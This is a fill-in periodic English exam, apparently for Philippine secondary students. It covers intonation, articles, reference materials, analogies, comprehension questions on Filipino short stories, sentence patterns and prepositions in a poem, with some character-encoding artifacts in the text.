PERIODIC EXAM ENGLISH Name: _________________________________Year & Section: _________________________ I. SPEAKING: DIRECTIONS: Tell whether the statements below use a RISING INTONATION or a RISING- FALLING INTONATION. Write R for rising and RF for rising-falling intonation. _____1. Have you study your lessons? _____2. I have seen the movie twice. _____3. When is the deadline for the submission of our project? _____4. Are you sure? _____5. She might be late. II. READING & LITERATURE A. DIRECTIONS: Use the articles A, AN and THE in the nouns below: 6.The leader of ___________ group is good. 7. _______ apple a day keeps the doctor away. 8. My father is ________ honorable man. 9. We went to _________ DILG office. 10. ______ new song is being played. B. DIRECTIONS: Select the reference material needed below. Write your answer on the space provided. _________________________11. The population of the Philippines in 1990. _________________________12. The meaning of the word â€Å"outrageou s†. _________________________13. The different kinds of insects. _________________________14. The color of the Japanese flag. ________________________15. The stress mark of the word â€Å"sedimentary. † ( YEARBOOK OR ALMANAC, ENCYCLOPEDIA, ATLAS, DICTIONARY ) C. DIRECTIONG: Supply the missing word in the analogy below: 16. School is to study as church is to ______________________. 17. Bark is to dog as buzz is to _______________________. 18. White is to good as black is to ___________________. 19. Sun is to day as moon is to ____________________. 20. Allah is to Muslim as Christ is to ___________________. D. DIRECTIONS: Encircle the letter of the correct answer. 21.Who is the wife of Leon? a. Mariab. Emeliac. Lumnay 22. What did Mr. Angeles brought to his family? a. caretelab. beansc. mats 23. The following are dead children of Mr. Angeles EXCEPT†¦ a. Josefinab. Marcelinac. Victoria 24. He was the brother of Leon. a. Juanb. Antonioc. Baldo 25. She was the new wife of Awiyao. a. Madulimayb. Madulumnayc. Lumnay E. DIRECTIONS: TRUE OR FALSE. WriteT if the statement is true and F if it is wrong. ___26. Maria was afraid of Labang. ___27. The beads given to Lumnay by Awiyao will be given to Madulimay in the wedding. __28. All the children of Mr. Angeles have received a mat. ___29. Marcelina’s mat has a symbol of Aesculapius for she is a medical student. ___30. The passing at night at the Waig was one of the tests given by Leon’s father to Maria. ___31. Maria was a typical city woman. ___32. Maria was not accepted by the family of Leon. ___33. The mats brought by Mr. Angeles were special and unique. ___34. The reason of the separation of Awiyao and Lumnay was Madulimay. ___35. Lumnay joins in the wedding dance and finds also a husband. III. GRAMMAR A.DIRECTIONS: Identify the pattern of the sentences below. Write S-TV-DO or S-TV-IO-DO in the space provided. _________________36. Mr. Angeles gave Nanay Emilia a mat. _________________37. A wiyao left Lumnay. _________________38. Leon showed Maria the place. _________________39. Mr. Angeles brought presents. _________________40. Awiyao comforted Lumnay. _________________41. Mr. Angeles remembered his dead children. _________________42. Leon’s family accepted Maria. _________________43. Awiyao gave her the beads. _________________44. Lumnay offered Kabunian a pig. ________________45. Awiyao asked Lumnay a question. B. DIRECTIONS: Look for the prepositions in the poem below. Encircle a preposition only once. A thousand times in my dreams I have walked with you Hand in hand, down the glittery way Without a worry, not a care in the world, No sorrow, no torture, no dismay, There we were: two figures in the incessant night, Swallowed by the searing darkness Embraced by the fleeting sadness, And then we would look to the sky and see, The shining harvest of the distant stars, Our sky, our sky, my starlight, our sky sown with stars.